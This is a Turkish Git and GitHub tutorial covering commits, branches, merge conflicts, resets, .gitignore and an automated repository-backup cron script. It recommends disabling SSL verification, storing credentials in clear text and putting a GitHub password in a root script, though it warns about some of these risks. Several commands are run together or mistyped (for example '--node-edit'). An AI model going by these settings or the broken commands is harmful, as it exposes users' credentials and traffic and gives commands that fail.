Şimdi git add . komutunu vererek dizindeki (ve alt dizinleri de dahil eder) tüm dosyaları takip listesine ekleyelim. Dilerseniz git add dosya_adi.cpp seklinde de kullanabilirsiniz. Bu takip konusu önemli. Ne takibi bu diyebilirsiniz. Git’in girişte bahsettiğim nimetlerinden yararlanabilmek için, projemize dahil olan dosyaların bildirilmesine takip listesine eklemek, dizine eklemek ve ingilizcesi staging area‘a ya (yani sahneye) eklemek gibi farklı tabirler kullanılıyor. Kısaca, proje dizininde gerekli gereksiz binlerce dosya olabilir bunlardan hangilerinin projenin elzem dosyaları olduğunu bildirmiş oluyoruz. İleride takip listesine ekleyeceğimiz dosyaları belirlemek yerine sadece dışarıda bırakacağımız dosyaları tanımlamayı da anlatacağım (bunu .gitignore dosyası sayesinde yapacağız). Gundan sonra Git dizindeki tüm dosyalarımızı takip etmek üzere listesine ekleyecek. Eğer daha sonra proje dizininde yeni bir dosya/dizin oluştururusanız bu komutu tekrar vermeniz gerekir. Takip listesi demek git depomuza dahil olacak dosyaları belirlemek anlamına geliyor. Bu örnekte . (nokta) yazarak depomuza ne var neyok ekledik fakat sadece belli bir dizini ya da dosyayı da ekleyebilirdik. Genellikle proje dizininde git add . çalıştırılarak ne var ne yok eklenir. O nedenle neler depoya dahil olacak onları takip listesine eklemek için add komutundan faydalanıyoruz.

git add .

Evet, diyelimki bundan sonra kodlarımızı geliştirmeye başladık. Proje dosyalarımızda birçok değişiklikler yaptık. Sırada bu değişikliklerden yereldeki git depomuzu haberdar etmeye geldi. Kullanacağımız komut git commit. Bu komutla takibe aldığımız tüm dosyalarımızı yerel depomuza eklemiş olacağız. Bu ekleme işi ile projemizin o anki halinin detaylı bir fotografı çekilecek ve başta bahsettiğim .git dizinine kaydedilecek.

Komutu verdikten sonra çok güzel birşey olur; nano editörü açılır ve üzerinde değişiklikler yaptığımız dosyalar listelenir ve bize bu güncelleme için biraz açıklama bilgisi girmemiz istenir. Bu aşamada, en son commit’den bu yana yaptığınız değişiklikleri girebilirsiniz. Bu açıklamalar daha sonra yerel depomuzda (çeşitli git araçlarını kullanarak) veya github.com üzerinden kodlarımızı incelerken bize nerede ne değişikliği neden yaptığımız konusunda yol gösterecek. Bu açıklama eğer varsa projeyi beraber yürüttüğümüz diğer paydaşlara da bilgi sağlayacak. Böylece kodların neresinde neyi neden eklediğimiz/değiştirdiğimizi bilme şansına sahip olacaklar. Ayrıca herbir commit, projede geriye dönebileceğiniz sürümleri de tanımlar. Yani işler kötü gitti, kodları eski haline getirmek istiyorsunuz, ancak commit yaptığınız anlara geri dönebilirsiniz. Bu bilgiyi de ne zaman commit yapmanız gerektiği konusuna karar vermek için kullanabilirsiniz. Aşağıdaki commit’i uygulamadan önce Commit’leri kim yapmış başlığına giderek commit’i yapan kişi hakkında ufak bir tanımlama yapmalısınız.

git config --global user.name "enseitankado"git config --global user.email "[email protected]"git commit

Evet şimdi geldik işin en can alıcı noktasına. Yerelde yaptigimiz bu desigiklikleri uzak depomuz ile ilişkilendirmeye, Bunun için aşağıdaki komutu verelim. Bu komutu bir kez vereceğiz daha sonraki commit’lerde yeniden vermeye gerek yok. Adres .git dizini içine gerektiği şekilde kaydolacak.

git remote add origin https://github.com/enseitankado/test2-dev-ss963.git

Bu komutla bir orjin ekledik yani başlangıç noktası. Artık github ilk yükleyeceğimiz proje kopyamızı projemizin yaşam döngüsü içinde nereye konumlandıracağını biliyor. Yani ilk başa ya da “0” noktasına (orijin) konumlandıracak. Sıra geldi kodlarımızın fiziksel olarak github.com’daki uzak depomuza yüklemeye. Bunun için push komutunu kullanacağız. Eğer hali hazırda olan bir depodaki kodları yerele çekerek kendimize kopyalamamız gerekseydi fetch veya clone komutunu verecektik. Push komutunu verdiğiniz anda doğal olarak kullanıcı adı ve parolası girmeniz istenecek. GitHub’ın 13 Ağustos 2021‘de işleme koyduğu yeni kimlik doğrulama politikasına göre artık github parolamızı git aracı ile işlem yaparken kullanamıyoruz. Buradaki talimatları uygulayarak, önce hesap ayarlarının altındaki security sayfasında yer alan 2FA (iki adımlı doğrulama) ‘yı etkinleştirin ve ardından developer settings sayfasından yeni bir erişim jetonu (access token) tanımlayın. Git aracının sorduğu parolalara bu token’ı gireceğiz. İlerleyen paragraflarda kullanıcı/parola bilgisini her seferinde yazmamak için ne yapılması gerektiğini de anlatacağım.

git push -u origin master

İşte bu kadar. Artık elimizde projemizin şuanki halinin bir fotoğrafı var ve bir kopyası da GitHub sunucusunda kayıtlı durumda. İstediğimiz zaman buraya geri dönebilir veya projeyi farklı ortamlara kopyalamak/paylaşmak için GitHub sunucusundaki kopyayı kullanabiliriz. Ancak unutmayın ki GitHub sunucusu yalnızca commit ve ardından push yapılan dosyaları barındırır. Artık bundan sonra projemizi geliştirmeye devam edebiliriz. Projemize yeni dosyalar eklenirse add komutunu vererek takip listesine alacağız, kodlarda değişiklik yaptıkça da commit ile açıklama verip depoya ekleyeceğiz. Uzak depoya eklemek için push komutunu kullanacağız. Bu kadar.

Özetle, bundan sonra geliştirmemizin github döngüsü genel olarak aşağıdaki gibi olacak:

git add .git commitgit push

Commitler arasında ne gibi değişiklikler olduğunu görmek için github.com üzerinde depomuza gidip ilgili dosyanın history butonuna tıklatabilirsiniz. Aşağıda ekran görüntüsü yer alıyor:

Not-1: commit yaptığınızda açıklama yazmanız için nano editörü açılıyordu. Dilerseniz kısa açıklamalar için gitt commit -m “Kisa aciklamalar…” komutunda olduğu gibi -m (comment) parametresini kullanabilirsiniz.

Not-2: add ve commit komutlarını kullanmadan önce, git status ile hangi dosyaların yeni oluşturulduğunu veya hangi dosyalarda değişiklikler yaptığınızı görebilirsiniz.

git status

Not-3: Boş bir commit oluşturmak için allow-empty parametresini kullanabilirsiniz

git commit –allow-empty

Biraz yeşillendirelim

Bu başlıktan itibaren yukarıda temel yaşam döngüsünü anlatmaya çalıştığım github kullanımını detaylandıracağım. Yukarıdaki adımlarda bunu mahsus yapmadım. Git zaten oldukça detaylı bir teknoloji ve işin temelini aktarırken akıcılığı teferruatlarla sekteye uğratmak istemedim.

git status

Bu komutu verdiğinizde projenizde değişikliğe uğramış ve yeni eklenen dosyalar listelenir. Değişikliğe uğramış ve henüz push edilmemiş olanlar yeşil renkte, dizine yeni dahil olanlar ve dolayısıyla henüz takibe alınmamış olanlar kırmızı renkte gösterilir. Takibe almak için yapılması gerekeni biliyorsunuz (zaten ekran çıktısında da yazıyor):

git add 

push yaparken her seferinde kullanıcı adı ve parola girmek bazen sıkıcı olabilir aşağıdaki komutu vererek GitHub kullanıcı adı ve parolanızın ev dizininizdeki ~/.git-credentials dosyasına depolanmasını sağlayabilirsiniz. Bu noktada önemli bir uyartım göndermem gerekiyor. Parola bu dosyaya açık şekilde (clear text) kaydolduğu için sisteminize erişim sağlayan birisi tarafından görülebilir. Bu konuya dikkat etmelisiniz. Kazayla public bir depoya push etmek de hamama gitme gerekçesi olabilir.

git config credential.helper store

Commit’lerin sıklığı ve ne zaman yapılacağı konusunda biraz bilgi vereyim. “zırt pırt” commit yapmayın. Özellikle birden fazla kişinin çalıştığı projelerde herşeyi commit yaparsanız ekip arkadaşlarınızın yapılan değişikliğin anlamsal bütünlüğünü kavramaları zor olabilir. Örneğin projenin belli bir kısmı ile ilgili yaptığınız eklemeyi commit’leyin. Ya da belli bir hatayı düzeltmek üzere yaptığınız çalışmayı commit’leyin. Bunu kullandıkça daha iyi kavrayacaksınız. Kısaca “ota-poka” commit yapmayın

Git add ile dosya veya dizinleri takip listesine alıyorduk. Peki hali hazırda birşeyleri (dizin/dosya) takip listesinden çıkartmak istersek ne yapmamız gerek? Bunun için de git rm yani remove komutundan faydalanırız. Kullanımı git add ile aynıdır. git rm ile belirttiğimiz dosya/dizinler önümüzdeki commit listemizde yer almazlar.

git rm dosya.txt

Diyelim ki, yaptığınız commit’e bir dosyayı dahil etmeyi unuttunuz bunun için dosyayı add ile takibe aldıktan sonra son yapılan commit’i aşağıdaki gibi yenileyebilirsiniz. Önceki iptal edilecektir. Amend ile yenilenen commit git log çıktısında gözükmezken git reflog çıktısında gözükür.

git commit --amend

Eğer sadece yorumu güncellemek istiyorsanız:

git commit --amend -m "Yeni açıklama"

git’in komutları hakkında yardım almak için hem de oldukça detaylı bir yardım almak için komuta –help parametresini verebilirsiniz. Malesef bu kapsamlı kaynak ingilizce.

git commit –help

Branchler Hakkında

İşler biraz karışıyor gibi olacak ama sakin olun. Branch kavramı git versiyonlamanın olmazsa olmazı. Branch Türkçe’de kol, dal anlamına geliyor. Yani projemizi kollara veya dallara ayırmak için kullanıyoruz. Özellikle birden fazla kişinin çalıştığı projelerde çok faydalı bir işlev. Branch’i anlamak için şöyle bir örnek verelim. Diyelim ki bir web sitesi kodluyorsunuz ve müşteriden acil bir ek istek geldi. Login sayfasına sms şifresi ile de giriş yapılabilsin istiyor. Fakat siz o sırada CSS’leri güzelleştiriyordunuz. Müşteri velinimettir farkındalığıyla çalışmakta olduğunuz için işi bırakıp müşterinin isteğine yöneleceksiniz veya projenin mevcut halini ekip arkadaşınıza verim ilgili özelliği eklemesini isteyecek bu sırada CSS işinize devam edeceksiniz. Bu gibi durumlar (yeni bir özellikle ekleme, raporlanmış bir hatayı düzeltme, belli sağlamlık testlerinin onaylandığı durumlar) branch oluşturmanın en uygun anlarındandır.

Diyelim ki biz müşterinin isteğini ekip arkadaşımıza paslama seçeneğini tercih ettik. Yani ek özelliği yeni bir kol olarak oluşturup daha sonra ana kol ile birleştireceğiz, yani merge işlemi yapacağız. Aciliyetle ana proje üzerinde yapabileceğimiz hataları dilersek geri alabileceğiz veya müşteri 3 yıl sonra bu özelliği çıkartmak isteyecek ama biz proje ile çok fazla uğraştık ve kodlar büyüdükçe büyüdü, özelliği elle çıkartmak zahmetli. Olsun, git kullanarak yine de çıkartabilirsiniz. Git’in bu konudaki zeki altyapısı size yardımcı olacak.

Yeni bir branch’e geçmeden önce projenin şuanki haline add ve commit yapın. Aksi takdirde add ve commit yapılmayan dosyalar yeni branch’e dahil olacaktır.

git add .git commit 

Mevcut halinin bir fotografını çektiğinize göre bu noktada kendinize yeni bir dal oluşturuyorsunuz. Bu dalın adı da sms-login olsun. Yeni bir dal oluşturmak için şunu yazın:

git branch sms-login

Projenin mevcut halinden (master) bu dala geçerek çalışmaya başlamak için checkout komutunu verin:

git checkout sms-login

Artık bu safhadan sonra sms-login branch’i ile ilgili kodlamaları yapabilirsiniz. Sitenin önceki (master) kodları ile sms-login kodları şimdilik ayrı kollardan devam ediyor. sms-login özelliğinin kodlaması bitip gerekli testleri yaptıktan sonra değişiklik yaptığınız dosyaları git add ile takibe alın (site.css’e dikkat edin):

git add sms-login.include.php sms-login.class.php site.css

Ardından içinde bulunduğunuz branch’i (sms-login) commit ederek bir dönemeç noktası daha oluşturun.

git commit -m "Acil istek uzerine sms-login ozelligi eklendi."

Şimdi telefon gelmeden önceki kaldığımız yere master branch’e geri dönelim bunun için:

git checkout master

Şimdi CSS güzelleştirme işine devam edebilirsiniz. CSS işlerini bitirdikten sonra bir bakıma elinizde iki adet proje oluşmuş olacak (A ve B). Biri CSS iyileştirmesi yaptığınız ama sms-login özelliği olmayan (Buna A projesi diyelim). Diğeri de CSS geliştirmesi yarım kalmış ama sms-login özelliği eklenmiş olan proje (buna da B projesi diyelim).

Gayet tabi sms-login’i eş zamanlı olarak ekip arkadaşınız da yazmış olabilirdi. Esasında burada anlattığım senaryo (yani sms-login’i ve css’i yazan kişinin aynı olması) git ekosistemini anlatmak için zayıf kalıyor. Eğer sms-login işini ekip arkaşımıza paslayıp, CSS işimizi hiç bölmeyecek bir senaryo kullanıyor olsaydım git’in özelliklerini anlatmak açısından daha iyi olurdu ve yakaşanı da buydu. Lakin, temel ve anlaşılır bir anlatım ortaya koymak için teferruatlardan uzak durmak istedim. Aksi takdirde daha birçok git komutu ve özelliğini de bu cümlelerin arasına serpiştirmem gerekirdi ki bu da dikkati dağıtabilir. Ama merak etmeyin bu dökümanı okumayı bitirdiğinizde 2. senaryoyu da rahatlıkla kullanabiliyor olacaktısınz.

Şimdi doğal olarak bu iki projeyi master branch üzerinde birleştirmemiz lazım ki elimizde yola devam edebileceğimiz bütün bir proje olsun. Bunun için aşağıdaki komutu girmeniz yeterli. Bu kadar.

git merge sms-login

Bu komutla master ve sms-login branch’leri (A+B) aktif branch olan master üzerinde birleştirilir. Aklınıza şöyle bir soru gelebilir (aslında gelmesi de lazım). Diyelim ki A ve B projesinin her ikisinde de site.css dosyasında değişiklikler yaptınız. Peki hangisi geçerli olacak? Burada git’in zeki özellikleri devreye girerek her iki projede de yaptığınız değişiklikleri birleştirecek. Ayrı koldan yürüyen A ve B’nin birbirini olumsuz etkilemesini önleyen bir mantıkla birleştirme yapacak hatta çok mantıklı bir birleştirme yapacak endişe etmeyin. Diğer taraftan; projenizi geliştirirken modüler bir mantık kullanıyorsanız çok büyük bir ihtimalle hiçbir sorunla karşılaşmayacaksınız. Çünkü modüler geliştirmede kod parçaları büyük oranda birbirinden bağımsızdır. Tabi hala 90’lı yıllardaki gibi (nesne ve olay kavramları yokken) herşeyi onbinlerce satır ve yüzlerce alt program kullanarak inşa ediyorsanız müdahale edeceğiniz durumlar oluşabilir. Bunu confict başlığında ele aldım.

Burada anlatılan kollara ayırma ve birleştirme işlemi için aşağıdaki şekil açıklayıcı olabilir. Yukarıdaki anlatımda tek bir commit yapmış olsak da bu konuda bir sınırlama yok. Aşağıdaki görselde herbir çember bir commit’i ifade ediyor.

Yerel deponuzda kayıtlı branch’leri görmek için branch komutuna -a seçeneğini verebilirsiniz.

git branch -a

Master branch’den merge işlemini paralel devam eden bir çok branch’e istediğiniz zaman yapabilirsiniz. Bunu yapmanın kararını ekip arkadaşlarınızla eşgüdümlü şekilde kararlaştırmalısınız. Yeri gelmişken tekrar hatırlamak gerekirse; git mantalitesinde hedef ürüne dönüşecek olan kol master adlı branch’dir. Hmm, güzelmiş deyip sıradaki başlığı okumaya devam edelim.

Merge’de çakışma yada conflict oluşunca

Merge ile kaldığımız yerden devam edelim. Peki her iki projede de aynı CSS satırını ya da komutunu değiştirdiysem hangisi geçerli olacak. Tabi bu değişikliği master’ı kodlayan ekip arkadaşınız da yapmış olabilir. Evet işte bu bir sorun ve buna git literetüründe conflict yani çakışma deniyor ve bir versiyon kontrol sisteminde yaşyabileceğiniz en büyük sorundur. Bu noktada; ilgili satırda/komutta hangi değişikliğin uygulanacağını sizin elle belirlemeniz gerekiyor. Çakışma olan dosyayı git status komutu ile görebilirsiniz. Eğer kollardan birini farklı bir kişi kodluyorsa, hangi satırın korunacağı konsunda onunla iletişim kurmanın zamana gelmiş demektir.

git status

Çakışmayı çözmek için ilgili dosyayı bir metin editörü ile açtığınızda çakışma olan bölgenin başlangıncında açakışma işareti olan <<<<<<< karakterlerini göreceksiniz. Bitişi ise >>>>>>> karakterleriyle işaretlenmiştir. A ve B kodu ise ======= ile ayrılmıştır. Aslında merge tarafından üretilen ilgili blok tam olarak aşağıdaki gibidir:

p[style="background: #f2f2f2"]<<<<<<< HEADline-height: 1em !important;=======line-height: 1.2em !important;>>>>>>> branch sms-login

Bu blokta yer alan çakışma şudur. Aynı seçici (p[style=”background: #f2f2f2″]) için iki farklı satır yükseliği değeri belirtilmiş. git sizden hangisi geçerli olacağını belirlemenizi istiyor. 1.2em’ye karar vermişsek bu değişikliği yapmak için bu bloğunu silip aşağıdaki gibi sadece css kodunu bırakmalısınız.

line-height: 1.2em !important;

İlgili değişikliği yaptıktan sonra add ve commit komutlarını verebilirsiniz:

git add . git commit -m "sms-login ve master branch cakisma sorunu elle cozuldu."

İşlem bukadar. Merge işleminden vaz geçmek isterseniz de aşağıdaki komut yardımınıza yetişir:

git merge --abort

Master adında bir branch’imiz var. Bu her halukarda mevcut olan bir branch. Yani proje geçmişi açısından hem bir başlangıç noktası hem de omurga. Merge işlemi git gibi versiyon izleme ve yönetim araçlarının olmazsa olmaz parçasıdır. Yoksa yaptığımız şeyin sürekli yedek almaktan bir farkı olmazdı. Eğer merge gibi olanak olmasaydı projede aynı anda sadece 1 kişi çalışabilirdi. O kişide muhtemelen şunu derdi; şuanda raporlama ekranlarını kodluyorum kimse projeye dokunmasın. Ekibin tüm üyeleri buna benzer şeyler söylerdi ve ciddi bir zaman ve para kaybı ortaya çıkardı. git gibi bir olanak varken onu mutkala kullanın. Sadece yazılım projelerinde değil dijital ortamdaki herhangi bir projenizde de kullanabilirsiniz. Eğer çalıştığınız şey kodlama projesisi ise daha doğrusu metin tabanlı bir içerikten oluşuyorsa, merge’in olanaklarından sonuna kadar yararlanın. git’in merge işlemi için son derece sağlam çalışan bir altyapısı var. Linux gibi milyonlarca satırdan oluşan milyardolarlık bir projenin onbilerce kişi tarafından dağıtık olarak geliştirilebilmesini sağlayan git’i kullanın ve kullandırtın.

Marty, Beni geçmişe geri götür

Birşeyler ters gitti ve projeyi en son çalışan haline veya commit ettiğiniz bir zamana geri döndürmeniz gerekiyor. Birçok dosyada onlarca değişiklik yaptınız. Tabi elinizde git gibi bir araç olmasaydı işiniz çok zor olurdu. Daha önce belirttiğim gibi ancak commit ettiğiniz zamanlara geri dönebilirsiniz. Aşağıdaki geri döndürme işleminin telafisi yoktur. Tekrar ileri gidemezsiniz. O nedenle çok kere düşünün. Sadece bir dosyayı son commit’e geri döndürmek için;

git checkout -- dosya.txt

Not: Normalde bu komut git checkout dosya.txt şeklinde de yazılabilir. Fakat — işaretleri git aracına artık komut satırı parametrelerini dikkate alma der ve ardından dosya.txt’yi son commit’e döndürür. Mesela master isminde bir dosyanız oldugunu düşünün (sadece master, uzantısı yok) normalde bu dosyayı önceki commit’e çekmek için yazmanız gereken komut şu olurdu: git checkout master ama bu komut çalışılan kolu master olarak ayarlayacaktır. Bu nedenle — işaretlerinden yararlanarak bu olasılığı baştan bertaraf eden bir alışkanlık kazanıyoruz.

Projedeki herşeyi son commit’e (HEAD) geri döndürmek istiyorsanız;

git reset --hard HEAD

Son commit’ten önceki commit’e geri döndürmek istiyorsanız:

git reset --hard HEAD~1

Dikkat edin checkout ve hard reset’in geri dönüşü yoktur. Tekrar ileri alamazsınız. Belli bir commit’e geri dönmek için ise HEAD~numara yazabileceğiniz gibi commit’in hash id değerinin ilk 6 hanesini yazmanız da yeterlidir. Hash id’ler git log veya git reflog listesinde commit 67a1c17b9b7376c7f2602c6fb3315a şeklinde gözüken değerlerdir.

git reset 67a1c1

Eğer reset’i argümansız olarak kullanırsanız son commit’ten sonra add ile eklediğiniz dosyaları takipten çıkartır. Sadece bunu yapar dosyalara ve içeriğine dokumaz.

git reset

Değişiklikleri geri almanın bir diğer yolu da revert işlemidir. Bunun öncekinden farkı yapılan geri döndürme commit tarihçesinde görünür ve tekrar ileri almaya izin verir. Örneğin son commit’den sonra bir dosyanın bir satırında yaptığınız değişikliği geri almak istiyorsunuz. Aşağıdaki gibi gerçekleştirebilirsiniz. Bu yaptığınız revert işlemi kayıt altına alınacağı için tekrar ileri de gidebilirsiniz. no-edit ile revert işlemi uygulanan commit’in comment’ini düzenlemeyeceğiz.

git revert 67a1c1 --node-edit

Commit’leri kim yapmış

Birden fazla kişinin çalıştığı projelerde commit’leri kimin yaptığını belirleyebilmek için herbir kişi kendi projesine aşağıdaki gibi bilgilerini tanımlayabilir. Bu bilgileri daha sonra değiştirmek isterseniz git config –global –edit komutunu kullanabilirsiniz.

git config --global user.name "enseitankado"git config --global user.email "[email protected]"

Projenizde yaptığınız tüm commit’lerin listesini görmek için aşağıdaki komutları kullanabilirsiniz. İkinci komut tek satırda listeleme yapar. Üçüncü komut ise yapılan değişiklikleri detaylı olarak gösterir. Hangi dosyanın hangi satırı nasıl değişmiş gibisinden.

git loggit log --pretty=onelinegit log -p

Güzel bir log komutu daha var oda git reflog. Reflog projemizde yaptığımız commit, merge ve revert gibi işlemlerin bir listesini ve herbir işlemin referans numarasını sunar.

git reflog

Uzak depoyu (remote repo) yerel depoya klonlayıp geliştirmeye devam etmek

Hali hazırda sahibi olduğumuz uzak bir depoyu yerele çekerek kodlarımızı geliştireceğiz ve tekrar uzak depoya yükleyeceğiz. Bunun öncelikle uygun bir dizine geçip aşağıdaki clone komutu verin. Proje için yeni bir dizin oluşturmanıza gerek yok, clone zaten orjinal adıyla yeni bir dizin oluşturacak.

git clone https://github.com/enseitankado/ss963-spi-tool.git

Bu komuttan sonra tüm proje ss963-spi-tool adlı dizine çekilecek ve takip için .git dizini de içine oluşturulacak. Şimdi uzak depo adresimizi aşağıdaki gibi tanımlayalım:

git remote add origin https://github.com/enseitankado/ss963-spi-tool.git

Kodlarımızı geliştirdikten sonra herşeyi takip listesine almak için;

git add .

Yaptığmız değişiklikleri yerel depomuza commit etmek için de;

git commit 

Şimdi de yerel depomuzu uzak depoya güncellemek için aşağıdaki komutu verin.

git push

Hepsi bukadar. Artık uzak depoda bir yedeğimiz var ve her iki tarafta da istediğimiz zaman geri dönebileceğimiz bir commit’e sahibiz.

GitHub’ın bazı özellikleri

Yazının başında GitHub’a alternatif olarak GitLab ve BitBucket gibi sitelerin olduğunu söylemiştim. GitLab ve BitBucket ile bir deneyimim olmadığından onlar hakkında birşey söyeyemiyorum ama GitHub’ın ilk başta farkedilmeyen bazı güzel özelliklerini ve ekran konumlarını aşağıda listelemeye çalışacağım.

  • Projeniz için Wiki ortamı sağlar.
  • Proje sayfanıza sponsor butonu ekleyerek finansal destek sağlayabilirsiniz.
  • Projeniz kullanıcıların sorun bildirmesi için Issue (sorun) takip sayfası ekleyebilirsiniz.
  • Projenizin bağımlılıklarını takip edebilir ve proje kodlarınızdaki güvenlik zafiyetlerini raporlayabilir.
  • Github üzerinde bir kaynak kod sayfasını görüntülediğinizde, fare ile kodda kullanılan fonksiyonların üzerine gelerek fonksiyonun projede nerelerde tanımlandığını ve çağrıldığını (referans verildiğini) bir popup içinde görebilirsiniz.

Bazı dizin ve dosyaları hariç tutmak

Proje dizininizdeki bazı dosya ve dizinlerin hiçbir şekilde depoya ya da commit’lere dahil olmasını istemiyor olabilirsiniz. Bu tür dosya/dizinleri .gitignore dosyası içinde tanımlayabilirsiniz. Özellikle dosya ve dizinleri topyekün eklediğimiz add . kullanımlarında böyle bir ihtiyacın oluşması muhtemeldir. Eklemek istemediğiniz özel dosyalar yada gereksiz yere depoyu şişirebilecek kütüphaneler ya da sonraki revert’lerde uyumsuzluk yaratabilecek birşeyler olabilir. Özetle eklemek istemediğiniz dosya ve dizinleri proje dizininde .gitignore adlı bir dosya oluşturun ve içerisine aşağıdaki gibi ekleyin.

Desen Örnek Kapsam Açıklama
**/logslogs/debug.log
logs/monder/foo.bar
build/logs/debug.log
Çift yıldız ile herhangi bir dizin tanımı yapılır. logs ismindeki tüm dizinler hariç tutulur.
**/logs/debug.loglogs/debug.log
build/logs/debug.log
fakat şunu seçmez:”
logs/build/debug.log
Çift yıldızı yukarıdakine benzer olarak dosyalar içinde kullanabilirsiniz. Bu örnekte proje dizin ağacının herhangi bir yerinde logs adlı bir dizinin altında bulunan debug.log hariç tutulmuştur.
*.logdebug.log
foo.log
.log
logs/debug.log
Proje dizin ağacının herhangi bir yerinde uzantısı .log olan tüm dosyalar hariç tutulmuştur.
*.log
!important.log
debug.log
trace.log
fakat şunu seçmez:
important.log
logs/important.log
Bu kullanımda yukarıda açıklanan kapsamdan importan.log hariç tutulmuştur. Yani, importan.log haricindeki tüm log dosyaları indekse alınmaz.
debug.logdebug.log
logs/debug.log
Proje dizin ağacının herhangi bir yerindeki debug.log dosyaları hariç tutulur.
/debug.logdebug.log
fakat şunu seçmez:
logs/debug.log
Sadece proje ana dizinindeki debug.log dosyasını hariç tutar.
.gitignore dosyasının kullanımına dair bazı örnekler

.gitignore‘da kullanılabilecek dosya tanımlama desenlerinin kapsamlı bir listesine buradan erişebilirsiniz. Ben de yukarıdaki örnekleri buradan derledim.

Yukarı paragraftaki anlatım tek bir depodaki (ya da proje dizinindeki) dosyaları hariç tutmak üzerineydi. Bilgisayarınızdaki tüm depolarınız için ortak bir .gitignore oluşturmak isterseniz bu dosyayı home dizininizde oluşturun ve aşağıdaki komutla global olarak işleme konulmasını sağlayın.

git config --global core.excludesfile ~/.gitignore

.gitignore çalışmıyor mu?

Bazen .gitignore dosyasının görevini yapmadığı durumlarla karşılaşabilirsiniz. Bunun ençok karşılaşılan nedeni; hali hazırda takip listesinde var olan(git add .) bir dizini/dosyayı hariç tutmaya çalışmaktır. Hariç tutmak istediğiniz dosyaları gitignore’a sonradan eklerseniz .gitignore görev yapmaz. Çünkü Git takip listesine öncelik verir. Hariç tutulmasını istediğiniz dosya/dizinleri takip listesinden çıkartırsanız .gitignore dosyası dikkate alınmaya başlanacaktır. Dosyaları teker teker takip listesinden çıkartmak yerine, önce projenizdeki tüm dosyaları takip listesinden çıkartın ardından tekrar ekleyin.

git rm -rf --cached .

Yukarıdaki komuttan sonra projedeki tüm dosyalar takipten çıkartılır. Şimdi ise her zamanki gibi tüm dosyaları yeniden takip listesine almak için git add . komutunu verebilirsiniz. Bu sefer Git takip listesine ekleme sırasında .gitignore’da tanımladığınız girdileri dikkate alarak onları eklemeyecektir.

git add .

Git yapılandırmaları (config)

Yazının değişik kısımlarında git’in çeşitli yapılandırma seçeneklerinden bahsetmiştim. Bu başlıkta ise fazlaca açıklamaya gerek duymayan bazı küçük config ayarları hakkında kısa bilgiler vereceğim.

“Unable to … Git repository due to self signed certificate” hatası GitHub sunucusu ile güvenli kanaldan iletişim (SSL) kurulamadığında oluşur. Hataya göre istemcide yüklü sertifika güvenilir kaynak tarafından doğrulanamamış gözüküyor. Bu hata SSL filtreleme kullanan güvenlik duvarlarının çalıştığı kurumsal ağlarda veya güncel olmayan istemciler kullanıldığında gerçekleşir. Aşağıdaki ayar ile Git istemcisinin SSL doğrulaması yapmamasını sağlayabilirsiniz. Bu durumda depo ile yerel bilgisayarınız arasındaki iletişimin araya giren kişi tarafından görülebileceğini/elde edilebileceğini unutmamak gerekir.

git config --global http.sslVerify false

Yedeğin yedeği: GitHub depolarını yedeklemek

GitHub’ı sürüm yönetimi için hem bir uzak depo hem de bir yedekleme ortamı olarak kullanıyorsanız size bir tavsiyem daha olacak. Her zaman yedeğin yedeğini de bulundurmalısınız. GitHub hesabınız hacklenebilir, GitHub, donanım arızası yaşayabilir. Bir nedenden hesabınızı kapatabilirler.

Peki, herşey public/private github depolarınızda duruyorsa bunları da bir çırpıda yedekleyip biryerlere atsak güzel olmazmıydı. Bunu yapabilen github-backup adında bir python betiği var. Betiğe gerekli parametreleri geçirip crontab’a ekleyerek tüm github depolarınızın otomatik olarak yedeklenmesini sağlayabilirsiniz. Elimizde apt-get/apt paket yöneticisi kullanan bir Linux dağıtımı olduğunu varsayıyorum. Buna göre python aracını kurmak için aşağıdaki komutları verin. İlk komut paket listemizi güncelleyecek. İkinci komut pip aracını kuracak, son komut ise github-backup’ın kurulabilmesi için gerekli araçları yükleyecek.

sudo apt updatesudo apt install python-pipsudo apt install python-setuptools

Şimdi sıra geldi python betiğini yüklemeye. Aşağıdaki komutu vererek yükleyebilirsiniz.

pip install github-backup

Bu betiğin parametrelerini görmek için -h seçeneğini kullanabilirsiniz. Basitçe github hesabınızdaki tüm depoları yerele yedeklemek için aşağıdaki komutu girebilirsiniz. Sondaki –private (-P) seçeneği private olarak oluşturulmuş depoları da yedeğe dahil eder.

github-backup -u <github_kullanici_adiniz> -p <github parolanız> -o <yedek_dizini> --all --private

Aşağıda her gece 05:00’da tüm github hesabımızı günün tarihi ile yedekleyen ve tar.gz olarak sıkıştıran bir betik ve betiğe ait crontab girdisi yer alıyor. Cronjob’ımız işlemlerin çıktısını output.txt’ye kaydediyor ve aynı zamanda yedekleme işleminin ekran çıktısını mail olarak gönderiyor. Betik ayrıca en yeni 10 yedeği muhafaza edip gerisini siliyor. Siz kendinize göre düzenleyebilirsiniz.

0 4 * * * /root/github_backup.sh 2>&1 | tee output.txt | mail -s "github_backup.sh OUTPUT" [email protected]

github_backup.sh dosyamızın içeriği:

#Depolari gecici dizine yedeklemkdir /root/github_tmpgithub-backup <github_kullanici_adi> -u <github_kullanici_adi> -p <github_kullanici_parola> -o /root/github_tmp --all --private#Gecici dizini zaman bilgisi ile arsivletar -Pzcf /root/rbackup/github_backup_$(date +%y-%m-%d_%H-%M-%S).tar.gz /root/github_tmp#Gecici dizini silrm -rf /root/github_tmp#En yeni 10 arsivi birak gerisini sills -1tr github_backup_*.tar.gz | head -n -10 | xargs -d '\n' rm -f --

Windows’da işler nasıl?

Git ile ilgili buraya kadar anlatttıklarımın aynısını Windows ortamında da gerçekleştirebilirsiniz. Bunun için git aracının Windows sürümünü indirip kurmanız yeterli. https://gitforwindows.org/ adresindeki setup’ı indirip kurduktan sonra sağ context menüye Git Gui Here ve Git Bash Here adından iki seçenek eklenir. İkinci seçenek ile burada anlattıklarımın aynısını uygulayabilirsiniz. Bir dizine sağ tıklatıp Git Bash Here seçeneğini seçerseniz proje dizininde aynı komutları kullanabileceğiniz bir Linux terminal emülasyonu açılır. Gui ise terminal de yaptığımız işlemleri bir Windows uygulaması ile yapmak içindir. Ama biz klavyenin kıymetinin ve havasının farkında olan insanlar olarak GUI’ye topyekün karşıyız. Şaka :)

Kaynaklar

Ali Özgür – Git 101 – https://aliozgur.gitbooks.io/git101/

Pro Git – https://git-scm.com/book/en/v2

Rebase komutunun ve işlevinin anlatıldığı güzel bir yazı:
https://medium.com/@aliustaoglu/git-cakismalarini-gidermenin-etkili-yollari-91b1160ce2e9

Git Dersleri – https://www.mobilhanem.com/git-egitimi/

Git Basit Rehber – https://rogerdudler.github.io/git-guide/index.tr.html

Git CheatSheets (Kopya kağıtları) – Google Araması

